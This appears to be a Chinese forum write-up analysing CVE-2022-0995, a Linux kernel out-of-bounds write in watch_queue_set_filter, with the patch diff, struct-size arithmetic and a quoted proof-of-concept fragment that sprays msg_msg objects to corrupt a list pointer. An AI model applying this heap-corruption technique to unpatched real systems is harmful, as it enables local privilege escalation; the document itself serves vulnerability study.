查看原文
其他

CVE-2022-0995分析(内核越界 watch_queue_set_filter)

inquisiter 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:inquisiter


漏洞成因


此漏洞与CVE-2021-22555(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5502)利用方式相似。
@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe, tf[i].info_mask & WATCH_INFO_LENGTH) goto err_filter; /* Ignore any unknown types */- if (tf[i].type >= sizeof(wfilter->type_filter) * 8)+ if (tf[i].type >= WATCH_TYPE__NR) continue; nr_filter++; }@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe, q = wfilter->filters; for (i = 0; i < filter.nr_filters; i++) {- if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)+ if (tf[i].type >= WATCH_TYPE__NR) continue; q->type = tf[i].type;@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref) for (i = 0; i < wqueue->nr_pages; i++) __free_page(wqueue->notes[i]);+ bitmap_free(wqueue->notes_bitmap); wfilter = rcu_access_pointer(wqueue->filter); if (wfilter)@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue) rcu_read_lock(); spin_lock_bh(&wqueue->lock); - /* Prevent new additions and prevent notifications from happening */+ /* Prevent new notifications from being stored. */ wqueue->defunct = true; while (!hlist_empty(&wqueue->watches)) {

根据补丁位置,大致可以看到watch_queue_set_filter此位置很有可能是溢出点。
for (i = 0; i < filter.nr_filters; i++) { if ((tf[i].info_filter & ~tf[i].info_mask) || tf[i].info_mask & WATCH_INFO_LENGTH) goto err_filter; /* Ignore any unknown types */ if (tf[i].type >= sizeof(wfilter->type_filter) * 8) continue; nr_filter++;} /* Now we need to build the internal filter from only the relevant * user-specified filters. */ret = -ENOMEM;wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);if (!wfilter) goto err_filter;wfilter->nr_filters = nr_filter; q = wfilter->filters;for (i = 0; i < filter.nr_filters; i++) { if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG) continue; q->type = tf[i].type; q->info_filter = tf[i].info_filter; q->info_mask = tf[i].info_mask; q->subtype_filter[0] = tf[i].subtype_filter[0]; __set_bit(q->type, wfilter->type_filter); q++;}
查看相关代码,分配的watch_type_filter数量nr_filter为 tf[i].type < sizeof(wfilter->type_filter) 8
而访问q = wfilter->filters; 则是 tf[i].type >= sizeof(wfilter->type_filter) BITS_PER_LONG。
 
sizeof(wfilter->type_filter) BITS_PER_LONG > sizeof(wfilter->type_filter) 8
 
所以这里因该是会造成访问越界地址的问题。只要 sizeof(wfilter->type_filter) BITS_PER_LONG > tf[i].type > sizeof(wfilter->type_filter) 8。
long watch_queue_set_filter(struct pipe_inode_info *pipe, struct watch_notification_filter __user *_filter){ ... tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));...}

根据poc
do { ntries++; filter->nr_filters = nfilters; for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96 filter->filters[i].type = 1; } // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024 if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { perror("pipe2()"); exit(1); } // Spray kmalloc-96 spray_msgmsg(); delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup // Filter go if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); goto err; } check_corruption(); if (corrupted_idx != -1) break; cleanup_msgmsg(); } while (ntries < CORRUPT_MSGMSG_TRIES);

可以看到struct watch_notification_filter 是直接从用户态传进来的。sizeof(wfilter->type_filter) BITS_PER_LONG = 1664 = 1024, sizeof(wfilter->type_filter) 8 = 168 = 128;0x30a = 778;
struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head);} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head

struct watch_type_filter 占 16 个字节。
 
poc中nfilters=4, type=778的有占其中一个。其余type=1。
 
也就是内核分配了 16 + 4 + 4 5 3 = 80 而可以访问的范围确实 16 + 4 + 4 5 4 = 100。
 
越界的大小为 100 - 80 = 20。
 
poc 里堆喷了2000*96字节的堆。释放1950和0位置上的msg。重复50次堆喷。大致又是这样。
struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.hstruct list_head { struct list_head *next, *prev;}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.cstruct msg_msgseg { struct msg_msgseg *next; /* the next part of the message follows immediately */};

msg_msg = 8*2 + 8 + 8 + 8 + 8 = 48 = 0x30。
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen; alen = min(len, DATALEN_MSG); //4048 msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); if (msg == NULL) return NULL; msg->next = NULL; msg->security = NULL; len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg; cond_resched(); alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; } return msg; out_err: free_msg(msg); return NULL;}

也就是primary_msg的next的后四个字节将会被写成零。这样将造成与CVE-2021-22555利用过程翻译(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5501)相同的情况。

利用方式


这个在cve-2021-22555中有详细的解释,不说了。
poc
https://github.com/Bonfee/CVE-2022-0995




看雪ID:inquisiter

https://bbs.pediy.com/user-home-734587.htm

*本文由看雪论坛 inquisiter 原创,转载请注明来自看雪社区



# 往期推荐

1.ZJCTF2021 Reverse-Triple Language

2.Docker-remoter-api渗透

3.Writeup-ROP Emporium fluff

4.APT28样本超详细分析

5.Windows内核-句柄

6.CVE-2016-0095提权漏洞学习笔记






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存